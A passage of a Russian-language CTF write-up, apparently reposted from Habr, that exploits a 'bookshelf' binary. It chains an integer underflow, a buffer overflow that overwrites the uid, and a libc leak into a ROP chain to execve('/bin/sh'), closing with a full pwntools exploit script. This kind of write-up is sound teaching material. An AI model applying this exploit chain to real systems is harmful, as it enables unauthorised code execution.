                      \u0412\u043e\u043f\u0440\u043e\u0441 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0440\u0443\u0433\u043e\u0439. \u041a\u0430\u043a \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u044d\u0442\u043e\u0433\u043e? \u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043c\u043d\u044e, \u0431\u044b\u043b\u0430 \u0440\u0435\u0447\u044c \u043e \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438. \u041f\u0440\u043e\u0440\u0435\u0432\u0435\u0440\u0441\u0438\u043c \u044d\u0442\u043e\u0442 \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430<\/p>\n

                      <\/figure>\n

                      \u0418 \u0442\u0443\u0442 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 cash. \u0412\u0441\u0435\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f 10 \u043f\u043e\u0438\u043d\u0442\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0442\u0435\u043e\u0440\u0438\u044e \u0441 \u0431\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u044b\u043c \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c. \u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e<\/p>\n

                      for i in range(8):
                      io.recvuntil(b'4) Check out')
                      io.sendline(b'2')
                      io.sendline(b'2')
                      io.sendline(b'y')<\/code><\/p>\n

                      \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f<\/p>\n

                      <\/figure>\n

                      \u041d\u0430\u0441\u0442\u0430\u043b \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u0443\u0448\u043b\u0438 \u0432 \u043c\u0438\u043d\u0443\u0441. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0431\u0430\u043b\u0430\u043d\u0441<\/p>\n

                      <\/figure>\n

                      \u0422\u0435\u043e\u0440\u0438\u044f \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430! \u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0441 \u0442\u0438\u043f\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0445 — unsigned int<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u0443\u043f\u0438\u043c \u043a\u043d\u0438\u0436\u043a\u0443<\/p>\n

                      <\/figure>\n

                      \u041a\u0430\u043a \u0438 \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c — \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u0442\u0435\u0447\u043a\u0443 puts()<\/code> \u0438\u0437 libc. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u0430\u0437\u0443 libc, \u0438 \u0434\u0430\u043b\u044c\u0448\u0435 \u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u0443\u0433\u043e\u0434\u043d\u043e.<\/p>\n

                      \u0411\u0430\u0437\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n

                      LEAK_FUNC_ADDR = LIBC_BASE + OFFSET<\/code><\/p>\n

                      \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0449\u0435\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 puts()<\/code> \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0438 \u0432\u044b\u0447\u0438\u0442\u0430\u0435\u043c \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0443\u0442\u0435\u0447\u043a\u0438.<\/p>\n

                      \u0421 \u044d\u0442\u0438\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d \u043f\u0430\u043d\u0435\u043b\u0435. \u041f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442. \u0421\u0440\u0430\u0437\u0443 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b \u0435\u0433\u043e \u0432 uid<\/code><\/p>\n

                      <\/figure>\n

                      \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043d \u0440\u0430\u0432\u0435\u043d 0<\/p>\n

                      <\/figure>\n

                      \u041e\u0434\u043d\u0430\u043a\u043e, \u043f\u0430\u043c\u044f\u0442\u044c \u0443\u0442\u0441\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0434\u0435\u0442 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0431\u0443\u0444\u0444\u0435\u0440, \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0431\u043e\u0440 \u043f\u0443\u043d\u043a\u0442\u0430 \u043c\u0435\u043d\u044e \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u0441\u0435\u0433\u043e — uid<\/code>. \u041f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:<\/p>\n

                        \n
                      1. \n

                        buf<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 43 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n

                      2. \n

                        choose<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 1 \u0431\u0430\u0439\u0442<\/p>\n<\/li>\n

                      3. \n

                        uid<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 4 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n<\/ol>\n

                        \u0417\u043d\u0430\u0447\u0438\u0442 \u043d\u0443\u0436\u043d\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 46 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.<\/p>\n

                        <\/figure>\n

                        \u0422\u043e \u0435\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0444\u0435\u0440, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c uid<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u043e\u043f\u0440\u043e\u0441: \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0444\u0435\u0440?<\/p>\n

                        \u041f\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u0435\u0441\u0442\u043d\u044b\u043c \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u044d\u0442\u043e \u043c\u0435\u0441\u0442\u043e \u0432 \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/p>\n

                        <\/figure>\n
                        <\/figure>\n

                        \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 writeBook()<\/code> — \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u0444\u0444\u0435\u0440.<\/p>\n

                        \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u043d \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u043c\u0443 \u043c\u0430\u0441\u0441\u0438\u0432\u0443<\/p>\n

                        <\/figure>\n

                        \u042d\u0442\u043e\u0442 \u043c\u0430\u0441\u0441\u0438\u0432, [rbp+s]<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0430\u043c\u043e\u043c \u043a\u043e\u043d\u0446\u0435. \u0412 \u043d\u0435\u0433\u043e \u0438\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0432\u043e\u0434\u0438\u043c\u0430\u044f \u043d\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f<\/p>\n

                        <\/figure>\n

                        \u0412\u0432\u043e\u0434 [rbp+src]<\/code> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d 40 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438<\/p>\n

                        <\/figure>\n

                        \u0418 \u043a\u0430\u043a \u0442\u043e\u0433\u0434\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c? \u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u043e\u0441\u0442. \u041d\u0443\u0436\u043d\u043e \u043b\u0438\u0448\u044c \u043f\u0440\u043e\u043b\u0438\u0441\u0442\u0430\u0442\u044c \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0447\u0443\u0442\u044c \u0432\u044b\u0448\u0435<\/p>\n

                        <\/figure>\n

                        \u0417\u0434\u0435\u0441\u044c \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435. \u0415\u0441\u043b\u0438 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u043c y<\/code>, \u0442\u043e \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 [rbp+s]<\/code> \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0434\u043b\u0438\u043d\u043e\u0439 6 — (AB): <\/code><\/p>\n

                        \u041a\u0430\u0440\u0442\u0438\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f:<\/p>\n

                        s = '(AB): '
                        s += 'A' * 40
                        len(s) = 46<\/code><\/p>\n

                        \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0432\u0435\u043d 46 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c, \u043a\u0430\u043a \u043d\u0430\u043c \u0438 \u043d\u0430\u0434\u043e. \u0422\u0443\u0442 \u0434\u0430\u0436\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0442\u044c \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u0411\u0430\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c 40 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u0440\u043e \u0430\u0443\u0434\u0438\u043e\u043a\u043d\u0438\u0433\u0443 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u043c \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e<\/p>\n

                        <\/figure>\n

                        \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, uid<\/code> \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u043d\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 65, \u0447\u0442\u043e \u043f\u043e ASCII \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 A<\/code>.<\/p>\n

                        \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u043c \u0432 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e<\/p>\n

                        <\/figure>\n

                        \u041f\u0440\u043e\u0441\u044f\u0442 \u0447\u0442\u043e-\u0442\u043e \u0432\u0432\u0435\u0441\u0442\u0438. \u041f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 256 \u043a\u0430\u043a\u0438\u0445-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432<\/p>\n

                        <\/figure>\n

                        \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0443\u043f\u0430\u043b\u0430! \u0417\u043d\u0430\u0447\u0438\u0442 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u043c\u0435\u0441\u0442\u043e. \u041d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/p>\n

                        \u041f\u0438\u0448\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/h4>\n

                        \u0412\u0437\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u0432 IDA, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e 64 \u0441\u0438\u043c\u0432\u043e\u043b\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0437\u043c\u0435\u0440 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f — 56 \u0431\u0430\u0439\u0442\u043e\u0432, \u0430 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430.<\/p>\n

                        \u0420\u0430\u043d\u0435\u0435 \u0431\u044b\u043b\u0430 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0430 \u0431\u0430\u0437\u0430 libc, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u0442\u0440\u043e\u043a\u0438, \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 — libc.so.6<\/code><\/p>\n

                        \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b, \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432<\/p>\n

                        execve(\"\/bin\/sh\",0,0)<\/code><\/p>\n

                        \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0432 J0llyTr0LLz \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432, \u043d\u0430\u0436\u0430\u0432 \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443 F1<\/code><\/p>\n

                        <\/figure>\n
                          \n
                        1. \n

                          rax = 0x3b<\/code><\/p>\n<\/li>\n

                        2. \n

                          rdi = \/bin\/sh<\/code><\/p>\n<\/li>\n

                        3. \n

                          rsi = 0<\/code><\/p>\n<\/li>\n

                        4. \n

                          rdi = 0<\/code><\/p>\n<\/li>\n<\/ol>\n

                          \u041d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 4 \u0433\u0430\u0434\u0436\u0435\u0442\u0430 \u043f\u043e \u0442\u0438\u043f\u0443<\/p>\n

                          pop rax\/rdi\/rsi\/rdx <\/code><\/p>\n

                          ret <\/code><\/p>\n

                          \u0421\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \/bin\/sh<\/code> \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043d\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u043b\u044e\u0431\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libc \u044d\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u0443\u0436\u0435 \u0432\u0448\u0438\u0442\u0430. \u0421 syscall<\/code> \u0442\u0430\u043a\u0430\u044f \u0436\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u044f.<\/p>\n

                          \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0442\u0430\u043a\u0438\u0435 \u043d\u0430\u0431\u0440\u043e\u0441\u043a\u0438:<\/p>\n

                          SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
                          BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
                          POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
                          POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
                          POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
                          POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)<\/code><\/p>\n

                          \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c rop-\u0446\u0435\u043f\u043e\u0447\u043a\u0443<\/p>\n

                          payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC<\/code><\/p>\n

                          \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435<\/p>\n

                          io.recvuntil(b'4) Check out')
                          io.sendline(b'3')
                          io.sendline(junk + payload)<\/code><\/p>\n

                          \u0422\u0435\u043f\u0435\u0440\u044c \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u043c \u0432\u0441\u0435 \u0448\u0430\u0433\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:<\/p>\n

                          from pwn import *<\/code><\/p>\n

                          exe = context.binary = ELF('.\/bookshelf')<\/code><\/p>\n

                          def start(argv=[], *a, **kw):
                          if args.GDB:
                          return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
                          elif args.EDB:
                          return process(['edb','--run',exe.path] + argv, *a, **kw)
                          else:
                          return process([exe.path] + argv, *a, **kw)<\/code><\/p>\n

                          gdbscript = '''
                          tbreak main
                          continue
                          '''.format(**locals())<\/code><\/p>\n

                          def live_richy():
                          io.sendline(b'2')
                          io.sendline(b'2')
                          io.sendline(b'y')<\/code><\/p>\n

                          def leak_plt_puts_func():
                          tmp = str(io.recvuntil(b'rested'))
                          tmp = tmp[2:len(tmp)-1]
                          tmp = tmp.split(\"\\n\")[0].split(\" \")
                          ret_val = int(tmp[len(tmp)-2][2:],16)
                          return ret_val<\/code><\/p>\n

                          def get_admin():
                          junk = b'A'*40
                          io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)')
                          io.sendline(b'1')
                          io.recvline()
                          io.sendline(b'y')
                          io.sendline(junk)<\/code><\/p>\n

                          def get_shell(LIBC_BASE):
                          SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
                          BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
                          POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
                          POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
                          POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
                          POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)
                          junk = b'A' * 56
                          payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC<\/code><\/p>\n

                          io.recvuntil(b'4) Check out')
                          io.sendline(b'3')
                          io.sendline(junk + payload)<\/code><\/p>\n

                          io = start()<\/code><\/p>\n

                          leak_plt_puts = 0
                          for i in range(8):
                          io.recvuntil(b'4) Check out')
                          live_richy()<\/code><\/p>\n

                          io.sendline(b'2')
                          io.sendline(b'3')<\/code><\/p>\n

                          leak_plt_puts = leak_plt_puts_func()
                          LIBC_BASE = leak_plt_puts - 0x000000000080ED0
                          log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))
                          log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))
                          io.sendline()<\/code><\/p>\n

                          get_admin()
                          get_shell(LIBC_BASE)<\/code><\/p>\n

                          io.interactive()<\/code><\/p>\n

                          \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0448\u0435\u043b\u043b<\/p>\n

                          <\/figure>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n

                          <\/div>\n


                          \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 https:\/\/habr.com\/ru\/articles\/765150\/<\/a>
                          <\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-356562","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/356562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=356562"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/356562\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=356562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=356562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=356562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}